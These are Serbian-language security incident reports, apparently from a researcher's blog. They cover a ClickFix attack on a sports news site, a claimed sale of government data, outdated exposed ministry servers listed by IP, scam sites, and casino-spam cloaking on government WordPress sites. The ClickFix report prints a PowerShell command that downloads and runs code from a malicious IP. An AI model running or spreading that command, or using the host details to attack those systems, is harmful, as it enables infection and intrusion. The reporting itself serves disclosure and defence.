EDIT: Inicijalno sam otkrio jednu stranicu ali sam kasnije detaljnije pogledao i ceo sajt je kompromitovan, sve stranica na sajtu šire isti ClickFix napad...
Na stranici hotsport[.]rs/2025/10/11/petnaest-godina-napretka-crvene-zvezde-od-2344-do-toga-da-evropa-ne-moze-da-se-zamisli-bez-crveno-belih/#goog_rewarded a potencijalno i na drugima se javlja ClickFix napad pri otvaranu :
Cilj je da posetilac odradi predstavljene komande na računaru i time se inficira kradljivcem podataka - infostealerom
Komanda koja je stavljena u clipboard je :
powershell "Write-Host(iex(irm((('178.'+'16')+('.52.'+'232')))))2>$null"Posle rešavanja zagonetke i ulepšavanja komandi dobije se :
powershell Invoke-Expression (Invoke-RestMethod "http://178.16.52.232")VT za IP adresu ukazuje da već oko 18 dana širi malver i da je malver iz porodice IClickFix
https://www.virustotal.com/gui/ip-addres.../detection
hotsport stranica učitava lažnu CloudFlare stranicu sa dntds[.]shop/jsrepo?rnd=0.7086982433425174 koji takođe ima detekcije na izvolte :
https://www.virustotal.com/gui/url/64ef6.../detection
hotsport sajt koristi Wordpress i ima mnoge stare verzije plug-ina, klasičan vektor za kompromitaciju sajtova i ubacivanje ovakvih napada
Zlonamerni akter je na jednom forumu objavio prodaju navodne podatke Uprave za strance Ministarstva unutrašnjih poslova Republike Srbije.
Tvrdi da poseduje oko 180,000 zapisa koji datiraju iz 2024-2026 od kojih su 30,000 građani Srbije gde podaci uključuju ime prezime i JMBG. Ostalih 150,000 zapisa su od stranaca koji su se prijavili za dobijanje boravka u Srbiji. Od njih podaci uključuju lične podatke, mesto rođenja, broj pasoša i drugih identifikacionih brojeva. Takođe navodno uključuje podatke o samoj prijavi i razlogu traženja boravka, kao i kako tvrdi mnoge druge informacije o podnosilacu zahteva.
Zlonamerni akter prvobitno nudi podatke na prodaju nekom predstavniku države ako se javi, u tom slučaju tvrdi da će uništiti podatke i neće ih prodavati dalje. Ako se niko ne javi prodavaće bilo kom zainteresovanom kupcu.
Takođe nudi mogućnost medijima da se jave oko nabavljanja podataka ali nije jasno da li i njima nudi prodaju.
Ovo je isti zlonamerni akter koji je prethodno objavio Curenje podataka ugostiteljskog objekta Konačište Dabić Zlatibor kao i Kompromitovan Fudbalski savez Srbije - fss.rs - podaci sportista na prodaju
Objava sa tog foruma :
podeljeni uzorak kao prilog objavi na tom forumu :
Sve je počelo jednom običnom pretragom za otvorene Remote Desktop usluge gde je iskočilo ovo na jednoj IP adresi:
iz podataka kojim se identifikuje server saznajemo da je verzija operativnog sistema Windows Server 2012 R2 verzija 6.3.9600.
Saznajemo i da se računar zove FOND a Windows domen na kojem se nalazi se zove EKOPLAN. ima i FQDN domen ekoplan.gov.rs.
Od kraja 2008. do marta 2015. kada su ministarstva bila spojena postojao je sajt Ministarstvo poljoprivrede i zaštite životne sredine koji je bio ekoplan.gov.rs
Ovaj operativni sistem je izašao 2013. godine, njegova redovna podrška istekla 2018. a bezbednosna podrška istekla 2023. dok produžena beznednosna ažuriranja ističu ove godine:
Držati Remote Desktop otvorenim ka internetu na starom operativnom sistemu je krajnje neodgovorno, a možda i protivzakonito ako uzmemo u obzir novi zakon o sajber bezbednosti?
Na istoj krajnjoj tački imamo i SSH usluga na portu 22 koji se identifikuje kao "SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u7". Ova verzija SSH-a je izašla 2016-12-19 i podložna je raznim ranjivostima :
Na istoj IP adresi imamo i Apache web server verzije Apache/2.4.25 za koji postoje razne ranjivosti :
https://vulmon.com/searchpage?q=apache+h...ver+2.4.25
Mreža ovog ministarstva se hostuje na Telekomu a ne na državnoj mreži Kancelarije ITE. Koristi IP opseg 93.87.11.160/26. Ako pogledamo još neke IP adrese iz ovog opsega možemo naći još starinskih verzija softvera :
web server na 93.87.11.181 prijavljuje verziju nginx/1.16.1 koja je izašla 2019. godine
web server na 93.87.11.182 prijavljuje verziju nginx/1.21.6 koja je izašla 2022. i PHP/7.4.27 koje je EOL još od 2022-11-28
Glavni sajt ekologija.gov.rs ipak iz nekog razloga nije na tom IP opsegu nego je na Hetzneru u Nemačkoj ali i on je takođe žrtva neažuriranih verzija...
ekologija.gov.rs has address 94.130.187.109SSH je verzije OpenSSH7.6p1 Ubuntu 4ubuntu0.3 koji je izašao 2018. i podložan je raznim ranjivostima :
Web server je nginx/1.14.0 (Ubuntu) koji je takođe izašao 2018. i koji ima mnoge kritične ranjivosti :
Ostaje pitanje zašto Ministarstvo zaštite životne sredine nema adekvatnu administraciju svoje infrastrukture i redovno ažuriranje krajnjih tačaka koje su javno na internetu? I šta po tom pitanju preuzima Kancelarija za informacione tehnologije i elektronsku upravu?
U Januaru je na jednom mračnom forumu osvanula ova "ponuda" :
Pošto "prodavac" nije rekao ništa o tome kakav je pristup u pitanju a ostavio je kontakt, tražio sam da mi pošalje neke uzorke da vidim o čemu se radi.
Iz uzoraka koje je podelio sam saznao da je ovaj sajber kriminalac u pokušaju verovatno iz Turske prema jeziku na snimcima ekrana.
Takođe sam saznao da želi da proda 111GB podataka koje je preuzeo pristupajući FTP nalogu na ftp[.]pr[.]mod[.]gov[.]rs uz konkretno ime naloga 'rts' iz čega sledi da je ili kompromitovao sam nalog ili verovatnije našao šifru negde u logovima kradljivaca podataka ili drugih mesta na internetu gde se prodaju ili dele kredencijale za naloge.
Takođe je očigledno da je ovo pristup podacima koje Ministarstvo odbrane postavlja za medije i da su ti podaci javni i koriste ih informativne službe raznih medija da prenesu dešavanja koja su fotografisana i snimljena od strane Ministarstva odbrane. Shodno tome, ovi podaci se ne mogu smatrati značajnom kompromitacijom niti imaju vrednost kako se ovaj nadao.
Pronalazak sam još tada prijavio nacionalnom CERT-u i verovatno je sređeno ali ne bih znao jer po običaju nisam dobio nikakvu povratnu informaciju od njih.
Uzorci :
Pojavljuju se oglasi po društvenim mrežama koji vode ka nekakvom CourierHub sajtu gde navodno nude posao sa kurirskim službama i lepu zaradu kao i poklone, a zapravo se povežu na WhatsApp nalog i verovatno spamuju dalje vaše kontakte ili idu dalje u prevaru da šalju kontaktima da vam trebaju pare i da uplate na određeni račun. Nešto slično kao WhatsApp poruke sa sumnjivim linkovima - prevara preuzima WA podatke
nisam video reklamu ali sajt je courierhub.icu
Da bi se prijavio traži da se ide preko WhatsAppa :
Za prijavu šalje na drugi domen: courierhub.life
Našao sam i couriercabinet.icu - "Tvoj kurir panel"
Sajt ministarstva prosvete se zloupotrebljava za širenje indonežanskog kazino spama kada se učita kao Google bot koji indeksira sajtove na internetu, posle indeksiranja taj spam se nađe među gugl rezultatima, time povećava rangiranje ovih kazino sajtova i određenih termina na guglu :
Stranica funkcioniše normalno kada se otvori sa računara ili mobilnog, spam stranica se prikazuje samo ako joj se pristupi kao gugl bot
Sajt je hostovan na državnoj infrastrukturi Kancelarije ITE:
prosveta.gov.rs has address 195.222.98.253Stranice koje su pronađene kompromitovane :
https://prosveta.gov.rs/nauka/nauka-i-istrazivanje-u-srbiji/podrska-razvoju-naucnoistrazivackih-kadrova/kontakti-za-programske-aktivnosti-podrske-razvoju-naucnoistrazivackih-kadrova/
https://prosveta.gov.rs/o-ministarstvu/
https://prosveta.gov.rs/kontakt/linkovi na reklamnim stranicama su kontaktgovrs.pages[.]dev i ministarstvu.pages[.]dev
dalje linkuju ka cutt[.]ly/M0onKartu koji preusmerava na krajnji kazino kartudiamond[.]com
Prema WPScan-u na ovom sajtu je Wordpress verzija 6.9 koja je nebezbedna i ima mnogo propusta za koje srećom treba prvo biti autentifikovan nalog na WP-u :
Takođe koristi stare verzije sledećih dodataka : elementor, elementskit-lite, instagram-feed, wp-accessibility
Izdvojio bih i dodatak wp-school-calendar-pro koji im je čak 3 godine stara verzija!
Koriste sopstvenu temu zvanu "mpn"
U većini slučajeva ovakvih spam napada u pitanju je kompromitacija dodataka ili teme i ubrizgavanje malvera koji onda prema User-Agentu klijenta prikaže spam ili normalnu stranicu. Samo onaj sa pristupom serveru može da otkrije tačno šta je kompromitovano.
Sajt lokalne samouprave Bečeja prikazivao je reklamu za indonežanski kazino kada se učita kao Google bot koji indeksira sajtove na internetu :
Trenutno je sajt potpuno nedostupan pa nisam uspeo da učitam spam stranicu :
https://arhiva.sepa.gov.rs/ ima nevažeći pogrešan bezbednosni sertifikat što onemogućava otvaranje u pojedinim browserima i/ili baca grešku :
Sajt je moguće otvoriti preko HTTP bez S : http://arhiva.sepa.gov.rs/